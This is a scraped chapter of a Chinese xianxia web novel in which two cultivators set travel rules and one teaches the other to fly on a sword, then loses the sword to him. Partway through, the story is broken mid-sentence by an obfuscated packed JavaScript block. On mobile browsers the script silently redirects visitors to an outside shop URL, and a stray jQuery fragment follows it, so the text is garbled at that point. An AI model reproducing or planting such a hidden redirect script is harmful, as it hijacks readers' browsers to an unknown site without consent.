文趣网 > 都市小说 > 勾引无情道宿敌 > 57. 御剑
    萧承平严肃纠正:“道友,请不要胡说八道。”

    顾子安没正形地伸手吊在树上荡,言语轻快:“我怎么胡说八道了?”

    顾子安荡了几下,松手在空中翻了几圈,完美流畅地落到萧承平眼前,伸手轻轻在萧承平的肩膀上推了一把,歪着脑袋问道:“那你说,你为什么跟踪我?据我所知,跟踪之事亦非君子所为。”

    萧承平后退了一步,诚恳道:“抱歉,我迷路了,不知道要去哪里。所以才跟着你走的。”

    顾子安张嘴“昂”了一声,摊手道:“可是我也是随便走的。山里的樵夫告诉我,这离康仙山有仙人,我准备去见见世面,看看仙人长什么样子。”

    萧承平质疑道:“世上真的有仙人吗?我从未听闻有人飞升,我以为飞升只是一个神话传说。”

    顾子安绕着身旁一棵大树,伸开双臂脚尖贴着脚后跟来回走,道:“我不知道啊,所以我打算去看看。”

    顾子安看向萧承平,朝萧承平微微扬头,眨眨眼睛:“你要一起去吗?”

    顾子安在怀宁从来都是呼朋引伴成群结队的,自他下山以来,一直都是一个人,他并非不能接受一个人独行,但总觉得若是有人同行会是更好的选择。

    况且眼前这位白衣修士一板一眼,一看就是某个修真世家静心培养的,放在身边逗一逗遛一遛,找点乐子也好。

    萧承平道:“可。”

    顾子安高兴得跳起来,拽住树上缠绕的手臂粗的藤蔓颠来倒去的蹿。

    顾子安表达喜悦的方式是如此的原始与粗犷,萧承平简直不忍直视。

    萧承平等这位活力满满的道友闹腾够了,才冷静地说:“不过我们要约法三章。”

    这位道友口无遮拦,放浪形骸,热情洋溢,萧承平对这样的人天然抗拒和恐惧。

    先生说,每个人都有自身的局限,他不能守着自己的一亩三分地,必须学会如何与形形色色的人相处。

    顾子安侧耳朵道:“喔~~你说来听听。”

    萧承平说出了在肚子里翻来覆去琢磨过很多遍的话:“第一,你我之间言行举止要恰当,不说不合适的话,不做不恰当的事。”

    顾子安乖乖点头:“好。”好不容易找了个伴,可不能轻易弄丢了。

    萧承平见他如此配合,心里终于舒坦了些许,吐出一口积压已久的浊气,继续道:“第二,遇到危险我们都要帮助对方。”

    “道上的规矩,懂。”

    “第三,”萧承平额头上的青筋跳了跳,“我不喜旁人触碰。”

    顾子安站在旁边一块石头上,倚靠在萧承平肩膀上的手肘不动如山,好像完全没有听到萧承平说的话,脸上露出惬意的微笑,看向山间雾霭。

    萧承平目光一冷,干净利落地抽回肩膀,后退一步。

    顾子安手下突然一空,手肘处的支点只能暴露在不堪一击的空气中,随后直线下坠,顾子安笔直地侧摔在地。

    萧承平眼睁睁看着这个人,顺势横躺在地上,手肘杵在地上,手掌撑在下巴上,嘿嘿傻笑。

    萧承平:“……”

    萧承平内心在绝望地咆哮:天呐,世上怎会有这样的人?!

    “好啦。”顾子安站起来拍拍屁股,掸去尘灰,“我知道了。”

    一路上,红衣道友都显得比较老实,但是萧承平不敢掉以轻心,不知道什么时候对方又要做出一些令人匪夷所思的事情。

    红衣道友是一个很健谈的人,一路上都在和他聊天说话,红衣道友见多识广,遇到了许多有意思的事情。

    顾子安道:“你会御剑吗?”

    萧承平点头:“会。”

    顾子安竖起大拇指:“那你可太厉害了。我到现在都没有学会御剑。”

    “为何?”已经结丹了为何还不会御剑,御剑不是剑修入门的技能吗?难道这个道友不是剑修。

    萧承平的目光在对方身上打量,腰间只有一串黑色的铃铛,没有佩剑。

    顾子安郁闷道:“因为我晕剑啊,我一踩在那个剑上,它就晃悠,它就站不稳,它就要把我摔下来,我的脑袋天旋地转,我的胃里翻江倒海,别提了。”

    “晕剑?倒是我孤陋寡闻了。”

    顾子安道:“唉其实也不是,主要是我就没上过一节御剑术的课,自己随便就在那里御剑飞,飞得十分颠簸,才会头晕想吐的。”

    “为何没上过御剑术的课?”

    “我讨厌那个死老头,所以我每节课都不去上。”

    “逃课?”

    “对!”语气里还有几分得意。

    萧承平:“……”他对逃课的人、不尊师重道的人没有好脸色。

    顾子安:“你怎么不问我为什么逃课?”

    “为何?”难道有什么隐情吗?

    顾子安忒了一声:“因为那个死老头的课是早课,鸡打鸣了就要开始上课。”

    “……如果能学到本事,又有何不可呢?”

    顾子安深以为然:“我也是这样想的,后来发现他其实自己也不会御剑,不过是倚老卖老,不知道他一天在得意什么?他可喜欢说教了,我最讨厌被说教。”

    萧承平:“这样吗?”那他也不好再说什么了。

    顾子安道:“道友道友你有剑吗?”

    “有。怎么了?”

    “你能教我御剑吗?”

    萧承平犹豫沉默了。

    他和这位道友素昧平生,相识不过半天,实在没有熟到这个地步。

    顾子安道:“作为感谢,我将严格遵守我们的约法三章。或者你有什么想要的,也可以直说。”

    这位红衣道友的目光太过赤诚,没有人能够忍心拒绝他的这一点小小要求。

    在商云,在凤栖台,有时长老会有一些活跃气氛的笑话段子,很可惜萧承平总是不能理会。

    课下有人三三两两的同行交谈,萧承平也总是一个人。

    有时,萧承平耳尖地听见旁边讨论得热火朝天的声音,他实在不明白那个地方究竟有什么值得纠结的,期待着有疑惑的人来询问他,他非常乐意为他们解答。

    可是从来没有过。

    大家都知道,萧愈是宗主的嫡子独子,以后是要承袭宗主之位的,只可远观只可仰望,不可接近。

    “可以吗?以后有我一口吃的,就有你半口。”耳边的话猝然将萧承平拉回现实。

    萧承平看向眼前求知若渴的人,淡淡道:“可。”

    顾子安闻言又激动得抓起萧承平的手摇摆着身体要跳起来。

    萧承平的另一只手,戳了戳顾子安的手背,无声地提醒,顾子安意识到自己又冒昧了,放开萧承平的手,歉疚道:“抱歉啊,我不是故意的。”

    萧承平淡淡道:“把你的剑拿出来吧。”

    顾子安惊奇:“现在教吗?”

    怀宁以实力为尊,竞争激烈,教会了对手就等于无形中降低自己的实力,没有蠢货会这么做。

    顾子安生来就是宗主之子,天生拥有常人难以企及的资源与天赋,许多人都眼红,明里暗里不爽顾子安,给顾子安使绊子。

    在这种情况下,顾子安还能在怀宁如鱼得水,全靠强悍的实

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17853704|211867||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    力,以及装得一手好蒜。

    顾子安在怀宁和门生插科打诨惯了,嘴里的话全都是虚话,什么“美味大餐”“功法秘籍”“独家消息”“道友我真的和你很投缘”,这些话题颠来倒去说半天,有零个收获,无非是又消磨了时光。

    从来没有遇到过白衣道友这么实诚的人,顾子安一时有些热泪盈眶。

    “对。”

    顾子安:“可是我没有剑。”

    萧承平没有想到有这么一出,在小一点的宗门里面,金丹期的修士已经可以当长老了,而眼前这个道友还很年轻,如此天赋无论在哪都应该是被重视的人,怎么会没有剑呢?

    萧承平无法理解。

    萧承平从乾坤袋里摆出一排剑,闪烁的流光溢彩的金属光泽,直接亮瞎了顾子安的狗眼。

    顾子安眼红心跳,手指颤抖,咬紧嘴唇带着哽咽,看向萧承平,不由大呼:“此乃何物?”

    萧承平言简意赅:“剑。你先随便选一把。”

    随便,选,一把。

    多么陌生的词汇。

    怀宁以实力论尊卑,排在顾子安前面还有很多人,加上怀宁的铸剑师实在不怎么样,耗材多速度慢质量劣,让人连连摇头。

    摇完头还得排队等着铸剑。

    顾子安至今没排上。

    顾子安搓手踱步置那一排剑的前方流连辗转,眼睛已经移不开了,嘴里还客气道:“哎哟,你说说这事儿闹得,这怎么好意思啊——我要这把。”

    顾子安指着其中一把,斩荆截铁道。

    萧承平:“……好。它叫扶光。”

    萧承平低声道:“映雪。”

    一柄修长雪白的剑从地上弹起,停在萧承平身前,萧承平收好了剩下的剑,然后试飞了一段路。

    顾子安站在下面,眼巴巴地望着。

    萧承平落地,道:“懂了吗?”

    顾子安:“???”您教了吗?

    萧承平委实算不上一个好老师,但是他自诩有耐心,于是在顾子安的注目礼下,他又飞了一阵。

    萧承平落地,道:“懂了吗?”

    顾子安艰难点头,“可能懂了吧。”

    顾子安跳上剑,心中默念御剑诀,摇摇晃晃地起飞。

    整段飞行令人汗毛直立,顾子安时不时会迟滞、倒退、倒立螺旋,云雾中微微滞后地呈现出顾子安掠过的乱七八糟的痕迹,然后顾子安有惊无险的落地。

    萧承平全程皱眉,末了心道:并非那般不堪,只是姿态不够飘逸潇洒罢了,无伤大雅。

    萧承平张嘴想要鼓励一下,顾子安脸色一变,蹲在一边吐得天昏地暗。

    萧承平自觉地避之大吉。

    顾子安干呕半天,终于缓过来了,擦嘴扭头,对萧承平露出一个挑衅嚣张的笑容:“道友,我们比试一下吧。”

    萧承平道:“胜之不武,我不比。”

    萧承平直接就断定自己会赢。

    他怎么敢?

    顾子安维持笑容道:“我管你比不比,我先走了。”

    顾子安好了伤疤忘了疼,跳上剑就滑走了,跌跌撞撞盘旋飞翔,朝着群山之巅的方向。

    光天化日朗朗乾坤,萧承平的剑就这么被绑架了!

    他必须追回来。

    萧承平心里懊恼,财不外露,他怎么会犯如此愚蠢的错误?

    萧承平和顾子安追逐着,几乎是同一时间登顶离康仙山。

    守门的道童打了个哈欠,站起来伸了个懒腰,朝两人瞥了一眼,埋怨道:“真磨叽,等你们好久了,你们可算来了。”